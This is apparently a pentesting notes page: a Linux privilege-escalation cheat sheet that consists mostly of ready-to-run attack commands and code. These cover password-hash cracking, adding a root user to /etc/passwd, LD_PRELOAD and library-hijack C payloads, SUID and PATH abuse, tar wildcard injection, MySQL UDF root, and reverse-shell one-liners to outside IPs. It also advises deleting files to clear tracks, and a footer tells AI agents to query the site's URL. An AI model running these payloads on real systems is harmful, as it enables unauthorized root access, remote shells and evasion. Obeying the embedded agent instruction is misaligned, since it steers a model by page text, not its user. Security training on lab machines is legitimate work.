# Linux PrivEsc

METHODOLOGY:

1. Run "**uname -a**" to check kernel version.
2. Run "**sudo -l**" command. (If nothing found, move ahead)
3. Check **/etc/passwd** for usernames.
4. If /etc/passwd has W access then use **openssl** to create new root user.
5. Check if **/etc/shadow** has RW access. (Crack the hash)
6. Check for backup files at **/home/user**, **/root**, **/tmp**, **/var/backups**
7. Enumerate user's home directory (check for interesting files, intel, ssh keys)
8. Check web root dir. **cd /etc/apache2. grep -Ri DocumentRoot .**
9. Check **grep -R '$bigtree\\\["config"\\]\["db"\\]' .  (. for current dir)**
10. Alternative for above **find . -iname '\*config\*'**
11. Enumerate the **/var/www/** directory to find config files and other info.
12. Check already found credentials for database running on machine.&#x20;
13. Check if root login is allowed with SSH (**grep PermitRootLogin /etc/ssh/sshd\_config**)
14. If you find nothing after this, then follow these steps:

**FILE PERMISSIONS /etc/shadow**

```bash
#READ ACCESS
#Extract the hash and save it in hash.txt file in Kali machine
#Check the hash type using https://hashcat.net/wiki/doku.php?id=example_hashes
#Crack it using JOHN or HASHCAT
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
#Switch to that user using "su username" followed by password you cracked

#WRITE ACCESS
#Create a password hash
mkpasswd -m sha-512 newpass
#Replace the user's hash with the one we generated
```

**FILE PERMISSIONS /etc/passwd**

```bash
#READ ACCESS
#Check for usernames

#WRITE ACCESS
#Create a new password hash
openssl passwd newpassword
#Add this hash to the 2nd field in root user(x) and then switch to it using su command
#Alternatively you can create a new root user
openssl passwd -1 -salt hacker pass123
#Append it to the file and then switch to the user
hacker:$1$hacker$zVnrpoW2JQO5YUrLmAs.o1:0:0:root:/root:/bin/bash
#You can even copy the row of "root" user and change the name to "newroot" and add the newly created password in the 2nd column (x)
```

**SUDO PRIVESC**

```bash
#List programs a user is allowed to run
sudo -l

#Check GTFO bins or Google for a privesc related to it. 

--------------------------------------------------------------------------------------

#LD_PRELOAD (env_keep option)
#Create file preload.c with following content:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

#Create shared object of the file
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
#Run any program from "sudo -l" list while setting the LD_PRELOAD environment variable to the full path of the new shared object
sudo LD_PRELOAD=/tmp/preload.so program-name-here        #Root shell gained

--------------------------------------------------------------------------------------

#LD_LIBRARY_PATH (env_keep option)
#Run the following command against any program to view shared libraries used by the program
ldd /usr/sbin/apache2        #Running against apache2. Replace it with any program of choice from "sudo -l"
#Create a file library_path.c

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

#Create a shared object with with same name as one of the listed libraries in ldd command
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c        #libcrypt.so.1 was listed in ldd
#Run the program by setting the library path to /tmp
sudo LD_LIBRARY_PATH=/tmp <program>        #Root shell gained

--------------------------------------------------------------------------------------

#Run the program
sudo <program>
sudo -u <username> <program>
```

**SUID/SGID FILES**

```bash
#Find all SUID/SGID binaries
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

-------------------------------------------------------------------------------------------

#Check if there is an uncommon binary. Check its version. Find exploits for it.

-------------------------------------------------------------------------------------------

#SHARED OBJECT INJECTION
#Execute the binary and check what is it displaying
#Run "strace" command to check for system calls
strace /PathToBinary/binary
#Filter the output to check for open/access calls and for "no such file" errors:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
#Check what does the executable try to load. Also check if we have access and permissions for that directory
#Create a new directory if required (if the ouput shows a new directory which was not previously present)
#Create a C file <program>.c

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}


#Create a shared object file from the C file
gcc -shared -fPIC -o /PathShownInStrace/<program>.so <program>.c
#Execute the binary again to get root shell

-------------------------------------------------------------------------------------------

#PATH ENV VARIABLE
#If a program tries to execute another program but only specifies the program name, rather than it's absolute full path then shell will search the PATH directories until its found.
#Execute the binary and check what it is displaying
#Run "strings", "strace", "ltrace" command to check for printable characters
strings /PathToBinary/binary_name
strace -v -f -e execve /PathToBinary/binary_name 2>&1 | grep exec
ltrace /PathToBinary/binary_name
#Check which command is executing WITHOUT FULL PATH
#Create a file <command_name>.c
int main() {
        setuid(0);
        system("/bin/bash -p");
}

#Compile the file into an executable called <command_name>
gcc -o <command_name> <command_name>.c
#Prepend the current directory to the PATH variable and execute the file to get root shell
PATH=.:$PATH /PathToBinary/binary_name

---------------------------------------------------------------------------------------

#ABUSING SHELL FEATURES
#Run "strings", "strace", "ltrace" command to check for printable characters
strings /PathToBinary/binary_name
strace -v -f -e execve /PathToBinary/binary_name 2>&1 | grep exec
ltrace /PathToBinary/binary_name
#Check which command is executing WITH FULL PATH
##Check the bash version. It should be lower than 4.2-048
/bin/bash --version
#This will only work if the PATH is writable
#Create a function and then export it
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
#Execute the binary to get a root shell

---------------------------------------------------------------------------------------

#ABUSING SHELL FEATURES 2
#Check Bash version. It should be below 4.4
#Run the following commadn to check if <test> is prepended to every command
env -i SHELLOPTS=xtrace PS4='<test>' /PathToBinary/binary_name
#If it is, then run system command to verify if its working
env -i SHELLOPTS=xtrace PS4='$(whoami)' /PathToBinary/binary_name
#If you get the desired output then try to get a root shell
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /PathToBinary/binary_name
#Then execute 
/tmp/rootbash -p
```

**CRON JOBS**

```bash
#User cron tabs are located at /var/spool/cron or /var/spool/cron/crontabs
#System cron tabs are located at /etc/crontab
#Check the location of the cron job with "locate" and permissions using "ls -la"

--------------------------------------------------------------------------------------

#W ACCESS TO .sh file
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

OR

#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

#W ACCESS to .php file
Write the file with pentest monkey reverse shell OR
$sock=fsockopen("10.10.14.24", 443);
exec("/bin/sh -i <&3 >&3 2>&3");

#W ACCESS to .py file
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

#OS command running in a file
/bin/nc -e /bin/bash 10.10.14.4 8082
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.47/443 0>&1"')

--------------------------------------------------------------------------------------

#PATH ENV VARIABLE (System will check this path first)
cat /etc/crontab
#Check the starting path (PATH = ). If the path is writeble, do the following
#Below job_name refers to the cron job with no absolute path
#Create a file <job_name.sh> in the writeble path

#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

#Give it executable permissions
chmod +x /PATH/job_name.sh

#Run the following after cron job is executed
/tmp/rootbash -p

--------------------------------------------------------------------------------------

#WILDCARDS * 
#View the contents of the file using "cat" or "strings"
#If it has a *
#EXAMPLE 1 TAR *
echo 'cp /bin/bash > /tmp/bash; chmod +s /tmp/bash' > runme.sh
chmod +x runme.sh
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\runme.sh
#Wait for the scheduled task to run
/tmp/bash -p

#EXAMPLE 2 TAR *
#Create reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
#Transfer file to victim's home directory and give in executable permissions
chmod +x /home/user/shell.elf
#Create 2 more files in victim's home directory
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
#You will get shell on you listener when the cron job runs. 
```

**PASSWORDS AND KEYS**

```bash
#HISTORY FILE
#Check if you can find anything interesting in history file.
cat ~/.*history | less

#CONFIG FILES
#Check config files for passwords or username
```

**BACKUP FILES**

```bash
#Check for SSH keys
ls -la    #At / directory and other directories
#If you find .ssh directory access then check if it has private key.
#You can find private key elsewhere as well.
#Check if Root login is permited
grep PermitRootLogin /etc/ssh/sshd_config
#Copy the private key to Kali machine and give it correct permissions
chmod 600 key_file
#SSH using the key
ssh -i key_file user@victimIP
```

```bash
#SERVICE EXPLOITS: Check processes running as root (mostly MySQL)
ps aux | grep "^root"
#If you find something interesting then check its version
<program> --version
<program> -v
dpkg -l | grep <program>  #Debian
rpm -qa | grep <program>  #RPM
```

**MYSQL UDF**

```bash
#MYSQL UDF
gcc -g -c raptor_udf2.c    #Compile 32bit
gcc -g -c raptor_udf2.c -fPIC    #Compile 64bit
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc    #Create shared object from compiled exploit
mysql -u root -p    #Connect to mysql as root
use mysql;    #Use mysql database
create table foo(line blob);    #Create a table named foo
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));    #Use the correct path of .so file
select @@plugin_dir;    #Check the plugin directory
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';    #Dump into plugin directory
create function do_system returns integer soname 'raptor_udf2.so';    #Create function
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');    #Use func to copy and set SUID
#Exit out of mysql and run 
/tmp/rootbash -p    #Get root shell
```

**NFS**

```bash
#Check if you can mount any directory. Also check if root squashing is disabled on any directory with the command: 
cat /etc/exports
#Verify using:
showmount -e victimIP
#Make a mount directory in Kali machine
mkdir /tmp/mnt
#Mount the "tmp" directory of victim machine (Assuming tmp is mountable)
mount -o rw,vers=2 victimIP:/tmp /tmp/mnt

#METHOD 1:
#Create a malicious C file
echo 'int main() { setgid(0); setuid(0); system("\bin\bash"); return 0; }' > /tmp/mnt/shell.c
#Check if the file has been created then compile it
gcc /tmp/mnt/shell.c -o /tmp/mnt/shell
#Ignore the warnings
chmod +s /tmp/mnt/shell
#Go to victim machine and execute the file
cd /tmp
./shell

#METHOD 2:
#Create a reverse shell using msfvenom 
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
#Make file executable and set SUID permissions
chmod +xs /tmp/nfs/shell.elf
#From victim machine run the following to get root shell
/tmp/shell.elf

```

**SSH PORT FORWARDING**

```bash
#Check if any service is listening internally (127.0.0.1)
netstat -ano

#Restart SSH service on Kali machine
service shh restart

#Run this on victim machine
ssh -R <KaliPort>:127.0.0.1:<ServicePort> root@<KaliIP>
ssh -L <KaliPort>:127.0.0.1:<ServicePort> <VictimUser>@<VictimIP>
ssh -R 4444:127.0.0.1:3306 root@10.11.15.38

#Connect to service on local port
mysql -u root -h 127.0.0.1 -P 4444
```

**MYSQL UDF**

```bash
#You can gain root if you can login to mysql running as root without password
#Download raptor_udf2.c
#Then compile with the following command:
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

#Connect to mysql without password on victim machine
mysql -u root

#Execute the following commands on the MySQL shell to create a User Defined Function (UDF) "do_system" using our compiled exploit:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';

#Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

#Exit out of the MySQL shell (type exit or \q and press Enter) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:
/tmp/rootbash -p

#Remove the rootbash file as clearing track
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://coffeetohack.gitbook.io/coffeetohack/linux.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
